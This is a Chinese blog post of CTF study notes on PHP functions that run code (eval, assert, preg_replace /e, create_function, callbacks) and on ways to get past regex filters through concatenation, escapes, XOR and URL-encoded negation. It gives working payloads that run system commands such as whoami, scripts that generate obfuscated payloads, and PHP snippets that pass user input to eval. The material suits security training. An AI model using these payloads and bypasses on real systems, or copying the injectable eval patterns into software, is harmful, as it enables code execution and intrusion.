一些CTF中php可利用的函数和一些正则表达式的绕过方法

一些CTF中php可利用的函数和一些正则表达式的绕过方法

参考浅谈PHP代码执行中出现过滤限制的绕过执行方法_php过滤绕过-CSDN博客

函数

代码执行函数

eval ( string $code ) : mixed
<?php
    
    $cmd=$_POST['cmd'];
    eval($cmd);

传参:cmd=phpinfo();
assert(mixed $assertion) : void

a s s e r t i o n 为真,返回值为 1 , assertion为真,返回值为1, assertion为真,返回值为1assertion为假,触发一个 AssertionError

如果在 PHP.ini 文件中设置了zend.assertions选项为-1 或 1,那么assert()函数会生效;如果设置为 0,则 assert()函数不会执行

在PHP5或PHP7中,如果assertion是字符串,它将会被assert()当做PHP代码来执行

<?php
    
    $cmd=$_POST['cmd'];
    assert($cmd);

传参:cmd=phpinfo();或者phpinfo()
[PHP<7] preg_replace()+/e
preg_replace(mixed $pattern, mixed $replacement, mixed $subject, int $limit = -1, int &$count = null): mixed
$pattern: 要搜索的模式,可以是正则表达式字符串。
$replacement: 替换的内容,可以是字符串或者字符串数组。
$subject: 要搜索和替换的目标字符串或字符串数组。
$limit (可选): 指定每个模式匹配后替换的最大次数。默认为 -1,表示没有限制。
$count (可选): 如果提供了此参数,并且是一个变量引用,则会将替换的次数存储在这个变量中。

preg_replace() 函数会在 $subject 中搜索匹配 $pattern 的内容,然后用 $replacement 进行替换

如果pattern的模式修饰符使用/e,那么当subject被匹配成功时,replacement会被当做PHP代码执行

<?php
    
    $cmd=$_POST['cmd'];
    $content="aaab";
    preg_replace("/aaa/e",$cmd,$content);

传参:cmd=phpinfo();
create_function(string $args, string $code):Closure|false

返回一个匿名函数(Closure),或者在出错时返回 false

<?php
	$myFunction = create_function('$a, $b', 'return $a + $b;');
    echo $myFunction(2, 3); // 输出 5

构造payload传递给create_function()对参数或函数体闭合注入恶意代码导致代码执行

create_function()函数已经在 PHP 7.2 版本中被废弃,并且在 PHP 7.4 版本中已经移除

<?php
    $arg=$_POST['arg'];
    $code='echo'.' '.$arg.';';
    $func=create_function('$arg',$code);
    echo $func($arg);

传参:arg=phpinfo()
    
复杂一点:
<?php
    
    $arg=$_POST['arg'];
    $code='echo'.$arg.'extraContent'.';';
    $func=create_function('$arg',$code);

传参:arg='';}phpinfo();//

可回调函数

array_map(callable $callback, array a r r a y 1 , a r r a y . . . array1, array ... array1,array...array2): array
$callback: 要应用到每个数组元素的回调函数。
$array1: 要处理的第一个数组。
$array2, $array3, ... (可选): 可以指定多个数组参数,如果提供了多个数组参数,那么回调函数的参数列表将会按顺序从这些数组中取值。

例如:
<?php
    
    function square($a1,$a2) {
        return $a1 * $a2;
    }
    
    $arr1 = [1, 2, 3, 4, 5];
    $arr2 = [6,7,8,9,10];
    $result = array_map('square' ,$arr1,$arr2);
    print_r($result); 

#输出:Array ( [0] => 6 [1] => 14 [2] => 24 [3] => 36 [4] => 50 ) 

php版本<=7.0.9,可以执行以下操作

<?php
    
    $cmd = $_POST['cmd'];
    $arg = $_POST['arg'];

    array_map($cmd,$arg);

传参:cmd=assert&arg[]=phpinfo()
call_user_func(callable $callback [, mixed $parameter [, mixed $…]]) : mixed
$callback: 必需,表示要调用的回调函数,可以是一个函数名的字符串、数组(包含对象实例和方法名)、闭包等形式。
$parameter: 可选,表示传递给回调函数的参数,可以有多个参数,按顺序传入。
返回值:call_user_func() 函数会执行回调函数,并返回其返回值。

例如:
function myFunction($arg1, $arg2) {
    return $arg1 + $arg2;
}

$result = call_user_func('myFunction', 2, 3);
echo $result; 

#输出:5

用法

#不含参数
<?php
    
    $cmd=$_POST['cmd'];
    call_user_func($cmd);

传参:cmd=phpinfo
    
#含参数
<?php
    
    $func=$_POST['func'];
    $arg=$_POST['arg'];

    call_user_func($func,$arg);

传参:func=assert&arg=phpinfo();
call_user_func_array ( callable $callback , array $param_arr ) : mixed
$callback:表示要调用的回调函数,可以是一个函数名的字符串、对象方法的数组([对象, 方法])或者闭包。
$param_arr:包含传递给回调函数的参数的数组。
返回值:call_user_func_array() 函数执行回调函数并返回其结果
    
例如:
<?php
    
    function sum($a, $b) {
        return $a + $b;
    }
    
    $params = [2, 3];
    $result = call_user_func_array('sum', $params);
    echo $result; 

#输出:5

用法

<?php
    
    $func=$_POST['func'];
    $arg=$_POST['arg'];

    call_user_func_array($func,$arg);

传参:func=assert&arg[]=phpinfo();
array_filter ( array $array [, callable $callback [, int $flag = 0 ]] ):array
$array:必需,输入的数组。
$callback:可选,用于过滤数组的回调函数。如果指定了回调函数,数组中的每个元素将被传递给回调函数进行评估。如果回调函数返回 true,则保留该元素;否则剔除该元素。
$flag:可选,指定传递给回调函数的参数数量。默认情况下,回调函数将接受单个参数(数组中的元素),但如果设置了 flag 参数为 ARRAY_FILTER_USE_BOTH,回调函数将接受两个参数(元素和键)。

例如:
<?php
    
    $array = [1, 2, 3, 4, 5];
    $filteredArray = array_filter($array, function($value) {
        return $value % 2 == 0;
    });

    print_r($filteredArray);

#输出:Array ( [1] => 2 [3] => 4 ) 

用法

<?php
    
    $func=$_POST['func'];
    $arg=$_POST['arg'];

    array_filter($arg,$func);

传参:arg[]=phpinfo()&func=assert
usort ( array &$array , callable $value_compare_func ) : bool
$array:要排序的数组,传递给函数时会被改变。
$value_compare_func:用于比较数组元素的回调函数。该函数应当接受两个参数,比较它们的大小并返回一个整数值:
如果第一个参数小于第二个参数,则返回小于 0 的值;
如果第一个参数等于第二个参数,则返回 0;
如果第一个参数大于第二个参数,则返回大于 0 的值。

例如:
<?php
    $array = [4, 2, 1, 3];
    // 自定义比较函数,按照数字大小升序排序
    function compare($a, $b) {
        if ($a == $b) {
            return 0;
        }
        return ($a < $b) ? -1 : 1;
    }
    // 使用 usort 进行排序
    usort($array, 'compare');
    print_r($array); 
    
#输出:Array ( [0] => 1 [1] => 2 [2] => 3 [3] => 4 ) 

用法

当PHP < 5.6时

<?php
    
    $cmd=$_POST['cmd'];
    usort($cmd,'assert');

传参:cmd[0]=1&cmd[1]=phpinfo();

当PHP >= 5.6 & PHP < 7时,php有一个参数变长特性

<?php
    
    usort(...$_GET);
    
传参:?1[0]=1&1[1]=phpinfo()&2=assert

绕过

字符串拼接绕过

字符串拼接绕过适用于绕过过滤具体关键字的限制

适用PHP版本:PHP>=7

<?php
    
    $cmd=$_POST['cmd'];
    if(isset($cmd)){
        if(preg_match('/phpinfo|system/i',$cmd)){
            die('No Hack!');
        }else{
            eval($cmd);
        }
    }else{
        echo 'Welcome!';
    }

传参:cmd=(p.hpinfo)();
或cmd=(p.h.p.i.n.f.o)();
或cmd=(sy.(st).em)(whoami);
或cmd=(sy.(st).em)("whoami");...
    
#在PHP中不一定需要引号(单引号/双引号)来表示字符串。
#PHP支持我们声明元素的类型,比如$name = (string)hahaha;
#此外,如果不显示声明类型,那么PHP会将圆括号内的数据当成字符串来处理

字符串转义绕过

适用PHP版本:PHP>=7

在 PHP 中,八进制表示的转义字符以反斜杠(\)开头,后面跟着一个或多个八进制数字来表示ASCII字符

在 PHP 中,你可以使用 \x 后面跟着一个或多个十六进制数字来表示字符的十六进制值

在 PHP 中,你可以使用 Unicode 转义序列来表示字符的 Unicode 编码点。Unicode 转义序列以 \u{xxxx} 的形式来表示,其中 xxxx 是字符的 Unicode 编码点,可以是一个或多个十六进制数字

python代码

# 字符转义
def escapeChar(payload):
    oct_escapeChar=''
    hex_escapeChar=''
    uni_escapeChar=''

    for i in payload:

        ord_char=ord(i) # 十进制字符
        oct_char=oct(ord_char) # 转成八进制字符 0o...
        hex_char=hex(ord_char) # 转成十六进制字符 0x...

        oct_escapeChar+='\\'+oct_char[2:]
        hex_escapeChar+='\\x'+hex_char[2:]
        uni_escapeChar+='\\u{{{0}}}'.format(hex_char[2:])

    print("八进制:",oct_escapeChar)
    print("十六进制:",hex_escapeChar)
    print("Unicode:",uni_escapeChar)

if __name__=='__main__':

    payload='phpinfo'
    escapeChar(payload)
    
#输出:
#八进制: \160\150\160\151\156\146\157
#十六进制: \x70\x68\x70\x69\x6e\x66\x6f
#Unicode: \u{70}\u{68}\u{70}\u{69}\u{6e}\u{66}\u{6f}

另外,八进制的方法可以绕过无字母传参进行代码执行

payload='system("whoami")'

八进制: \163\171\163\164\145\155\50\42\167\150\157\141\155\151\42\51
十六进制: \x73\x79\x73\x74\x65\x6d\x28\x22\x77\x68\x6f\x61\x6d\x69\x22\x29
Unicode: \u{73}\u{79}\u{73}\u{74}\u{65}\u{6d}\u{28}\u{22}\u{77}\u{68}\u{6f}\u{61}\u{6d}\u{69}\u{22}\u{29}

多次传参绕过

适用PHP版本:无限制

如果过滤了引号(单引号/双引号),可以通过以下方法绕过

<?php
    highlight_file(__FILE__);

    $cmd=$_POST['cmd'];
    if(isset($cmd)){
        if(preg_match('/eval|system|exec|passtru|[\"\']/i',$cmd)){
            die('No Hack!');
        }else{
            eval($cmd);
        }
    }else{
        echo 'Welcome!';
    }

传参:cmd=$_GET[1]($_GET[2]);
并且:http://127.0.0.1:7788/test.php?1=system&2=whoami

或者传参:cmd=$_POST[1]($_POST[2]);&1=system&2=whoami

内置函数访问绕过

get_defined_functions(bool $exclude_disabled = true): array

详见:PHP: get_defined_functions - Manual

参数:exclude_disabled 禁用的函数是否应该在返回的数据里排除。
返回值:返回数组,包含了所有已定义的函数,包括内置/用户定义的函数。
可通过 $arr["internal"] 来访问系统内置函数,通过 $arr["user"] 来访问用户自定义函数

例如:
    
<?php
    function A(){return "A";}
    function B(){return "B";}
    function C(){return "C";}

    $arr = get_defined_functions();

    // print_r($arr["internal"]);
    print_r($arr["user"]);

#输出:Array ( [0] => a [1] => b [2] => c ) 

每个版本的get_defined_functions()返回的值都是不一样的

以php7.0.9为例

[283] => phpinfo

[373] => system

<?php
    highlight_file(__FILE__);

    $cmd=$_POST['cmd'];
    if(isset($cmd)){
        if(preg_match('/eval|system|exec|passtru|[\"\']/i',$cmd)){
            die('No Hack!');
        }else{
            eval($cmd);
        }
    }else{
        echo 'Welcome!';
    }

传参:cmd=get_defined_functions()[internal][283](); #执行phpinfo();
传参:cmd=get_defined_functions()[internal][373](whoami); #执行system(whoami);

异或绕过

适用PHP版本:无限制

在PHP中两个字符串异或之后,得到的还是一个字符串。

例如:
a = '?'
b = '~'

result = ord(a) ^ ord(b)
print(chr(result))

#输出:A

例题:

<?php

    highlight_file(__FILE__);

    if(preg_match('/[a-z0-9]/is', $_GET['shell'])){
        echo "hacker!!";
    }else{
        eval($_GET['shell']);
    }

过滤了所有英文字母和数字,但是我们知道ASCII码中还有很多字母数字之外的字符,利用这些字符进行异或可以得到我们想要的字符

取ASCII表中非字母数字的其他字符,要注意有些字符可能会影响整个语句执行,所以要去掉如:反引号,单引号

python脚本:

strlist = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 35, 36, 37, 38, 40, 41, 42, 43, 44, 45, 46, 47, 58, 59, 60, 61, 62, 63, 64, 91, 93, 94, 95, 96, 123, 124, 125, 126, 127]
#strlist是ascii表中所有非字母数字的字符十进制

def xor(payload):
    for char in payload:
        for i in strlist:
            for j in strlist:
                if(i ^ j == ord(char)):
                    i = '%{:0>2}'.format(hex(i)[2:])
                    j = '%{:0>2}'.format(hex(j)[2:])
                    print("('{0}'^'{1}')".format(i,j),end=".")
                    break
            else:
                continue
            break

if __name__=='__main__':

    payload='assert'
    xor(payload)

构造assert($_GET[]);

过程:
$_=('%01'^'%60').('%08'^'%7b').('%08'^'%7b').('%05'^'%60').('%09'^'%7b').('%08'^'%7c');
//$_='assert';

$__='_'.('%07'^'%40').('%05'^'%40').('%09'^'%5d');
//$__='_GET';

$___=$$__;
//$___='$_GET';

$_($___[_]);
//assert($_GET[_]);

最终payload:
?shell=$_=('%01'^'%60').('%08'^'%7b').('%08'^'%7b').('%05'^'%60').('%09'^'%7b').('%08'^'%7c');$__='_'.('%07'^'%40').('%05'^'%40').('%09'^'%5d');$___=$$__;$_($___[_]);&_=phpinfo();

当过滤字符的范围没有那么大,或者只是过滤关键字的时候可以使用如下脚本

import string

char = string.printable
def xor(payload):
    tmp1,tmp2 = '',''
    for res in payload:
        for i in char:
            for j in char:
                if(ord(i)^ord(j) == ord(res)):
                    tmp1 += i
                    tmp2 += j
                    break
            else:
                continue
            break
    print("('{}'^'{}')".format(tmp1,tmp2))

if __name__=='__main__':

    payload='system'
    xor(payload)

例题:

<?php
    
    $cmd=$_POST['cmd'];
    if(isset($cmd)){
        if(preg_match('/phpinfo/is',$cmd)){
            die('No Hack!');
        }else{
            eval($cmd);
        }
    }else{
        echo 'Welcome!';
    }

假设构造phpinfo
传参:cmd=('0000000'^'@X@Y^V_')();

URL编码取反绕过

适用PHP版本:无限制

用于GET传参请求

<?php
	echo urlencode(~'phpinfo');

#输出:%8F%97%8F%96%91%99%90

<?php

    highlight_file(__FILE__);

    if(preg_match('/[a-z0-9]/is', $_GET['shell'])){
        echo "hacker!!";
    }else{
        eval($_GET['shell']);
    }

构造payload:?shell=(~%8F%97%8F%96%91%99%90)();

对于有参数的

<?php
    echo urlencode(~'system');
    echo '<br>';
    echo urlencode(~'whoami');
#输出:%8C%86%8C%8B%9A%92
#     %88%97%90%9E%92%96

构造payload:?shell=(~%8C%86%8C%8B%9A%92)(~%88%97%90%9E%92%96);

当5<=PHP<=7.0.9时,需要再执行一次构造出来的字符,所以参考上面那种异或拼接的方法

$_=(~'%9E%8C%8C%9A%8D%8B');$__='_'.(~'%AF%B0%AC%AB');$___=$$__;$_($___[_]);
#assert($_POST[_]);

构造payload:?shell=$_=(~'%9E%8C%8C%9A%8D%8B');$__='_'.(~'%AF%B0%AC%AB');$___=$$__;$_($___[_]);
添加POST参数:_=phpinfo()
  • 18
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值